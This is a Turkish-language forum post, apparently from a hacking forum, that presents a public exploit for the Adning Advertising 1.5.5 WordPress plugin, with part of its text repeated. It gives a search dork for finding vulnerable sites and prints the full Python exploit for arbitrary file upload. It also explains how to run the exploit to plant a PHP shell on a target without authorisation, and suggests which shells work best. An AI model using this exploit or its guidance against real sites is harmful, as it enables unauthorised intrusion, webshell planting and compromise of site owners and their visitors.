Selamın aleyküm değerli dostlar. Bu konumuzda sizlerle beraber Adning Advertising eklentisinin 1.5.5 sürümünü kullanan wordpress siteler için hazırlanan bir exploiti inceleyeceğiz.
Exploit linki: Cxsecurity
Exploiti incelediğimiz zaman Adning Advertising eklentisinin 1.5.5 sürümünde çalıştığını görüyoruz. Bu da demektir ki exploiti yazan arkadaşın da gösterdiği gibi "inurl:/wp-content/plugins/angwp" dorkunu kullanarak bu exploiti kullanabileceğimiz siteleri bulabiliriz. Ama şöyle birşey de var ki eğer biz bu dorku internet üzerinde aratırsak karşımıza çıkan her sitede çalışmayacaktır. Sebebi ise başta da dediğim gibi exploitin sadece Adning Advertising eklentisinin 1.5.5 sürümünde çalışması
Exploitin ana amacı belirtilen eklentiyi bulunduran siteye izinsiz shell veya herhangi bir php dosya upload etmek.
Cxsecurity üzerinde yayınlanan bu exploiti biraz daha inceleyecek olursak bize bir de kaynak kodu vermiş. Bu kaynak kodu exploitimizin ta kendisi Onu da hemen şuraya yazalım:
Biraz daha inceleyince bu exploitin nasıl kullanıldığı açık olarak verilmemiş. Dolayısıyla kaynak koda biraz bakmamız lazım. Biraz göz gezdirdikten sonra "print("Usage: python3 exploit.py [target url] [php file]")" satırını görüyoruz. Burada bize anlatmak istediği aslında şu: İlk olarak bu kaynak kodu exploit.py diye bir dosyaya kaydet. Sonra ise python3 aracılığı ile exploiti çalıştır. Fakat çalıştırırken unutmamamız gereken bir yer var. O da parametreler İlk parametre olarak hedef sitenin adresini, ikinci parametre olarak da exploit ile aynı dizinde bulunan bir php dosyası. Bu php dosyası hedef sunucuya yüklemek istediğimiz dosya. Ama öyle k2, c100 gibi shell dosyaları atmaya çalışmayın hata alabilirsiniz. Onlar yerine basit upload sheller atabilirsiniz. Eğer hata alırsanız php dosyasını seçerken tam yolunu da girebilirsiniz(örnek: C://Users/Administrator/Desktop/shell.php gibi). Sonuç olarak da eğer hedef site Adning Advertising eklentisinin 1.5.5 sürümünü kullanıyorsa dosya upload edilecek, kullanmıyorsa da kaynak kodda da yazdığı gibi upload edilemedi yazacak.
Evet arkadaşlar bu konumuz da böyleydi. Bir sonraki konuda görüşmek üzere. Hoşça kalın...
Exploit linki: Cxsecurity
Exploiti incelediğimiz zaman Adning Advertising eklentisinin 1.5.5 sürümünde çalıştığını görüyoruz. Bu da demektir ki exploiti yazan arkadaşın da gösterdiği gibi "inurl:/wp-content/plugins/angwp" dorkunu kullanarak bu exploiti kullanabileceğimiz siteleri bulabiliriz. Ama şöyle birşey de var ki eğer biz bu dorku internet üzerinde aratırsak karşımıza çıkan her sitede çalışmayacaktır. Sebebi ise başta da dediğim gibi exploitin sadece Adning Advertising eklentisinin 1.5.5 sürümünde çalışması
Exploitin ana amacı belirtilen eklentiyi bulunduran siteye izinsiz shell veya herhangi bir php dosya upload etmek.
Cxsecurity üzerinde yayınlanan bu exploiti biraz daha inceleyecek olursak bize bir de kaynak kodu vermiş. Bu kaynak kodu exploitimizin ta kendisi Onu da hemen şuraya yazalım:
Python:
import os.path
from os import path
import json
import requests;
import sys
def print_banner():
print("Adning Advertising < 1.5.6 - Arbitrary File Upload")
print("Author -> space_hen (bilal vm)")
def print_usage():
print("Usage: python3 exploit.py [target url] [php file]")
print("Ex: python3 exploit.py https://example.com ./shell.php")
def vuln_check(uri):
response = requests.get(uri)
raw = response.text
if ("no files found" in raw):
return True;
else:
return False;
def main():
print_banner()
if(len(sys.argv) != 3):
print_usage();
sys.exit(1);
base = sys.argv[1]
file_path = sys.argv[2]
ajax_action = '_ning_upload_image'
admin = '/wp-admin/admin-ajax.php';
uri = base + admin + '?action=' + ajax_action ;
check = vuln_check(uri);
if(check == False):
print("(*) Target not vulnerable!");
sys.exit(1)
if( path.isfile(file_path) == False):
print("(*) Invalid file!")
sys.exit(1)
files = {'files[]' : open(file_path)}
data = {
"allowed_file_types" : "php,jpg,jpeg",
"upload" : json.dumps({"dir" : "../"})
}
print("Uploading Shell...");
response = requests.post(uri, files=files, data=data )
file_name = path.basename(file_path)
if(file_name in response.text):
print("Shell Uploaded!")
if(base[-1] != '/'):
base += '/'
print(base + file_name)
else:
print("Shell Upload Failed")
sys.exit(1)
main();
Biraz daha inceleyince bu exploitin nasıl kullanıldığı açık olarak verilmemiş. Dolayısıyla kaynak koda biraz bakmamız lazım. Biraz göz gezdirdikten sonra "print("Usage: python3 exploit.py [target url] [php file]")" satırını görüyoruz. Burada bize anlatmak istediği aslında şu: İlk olarak bu kaynak kodu exploit.py diye bir dosyaya kaydet. Sonra ise python3 aracılığı ile exploiti çalıştır. Fakat çalıştırırken unutmamamız gereken bir yer var. O da parametreler İlk parametre olarak hedef sitenin adresini, ikinci parametre olarak da exploit ile aynı dizinde bulunan bir php dosyası. Bu php dosyası hedef sunucuya yüklemek istediğimiz dosya. Ama öyle k2, c100 gibi shell dosyaları atmaya çalışmayın hata alabilirsiniz. Onlar yerine basit upload sheller atabilirsiniz. Eğer hata alırsanız php dosyasını seçerken tam yolunu da girebilirsiniz(örnek: C://Users/Administrator/Desktop/shell.php gibi). Sonuç olarak da eğer hedef site Adning Advertising eklentisinin 1.5.5 sürümünü kullanıyorsa dosya upload edilecek, kullanmıyorsa da kaynak kodda da yazdığı gibi upload edilemedi yazacak.
Evet arkadaşlar bu konumuz da böyleydi. Bir sonraki konuda görüşmek üzere. Hoşça kalın...
Son düzenleme: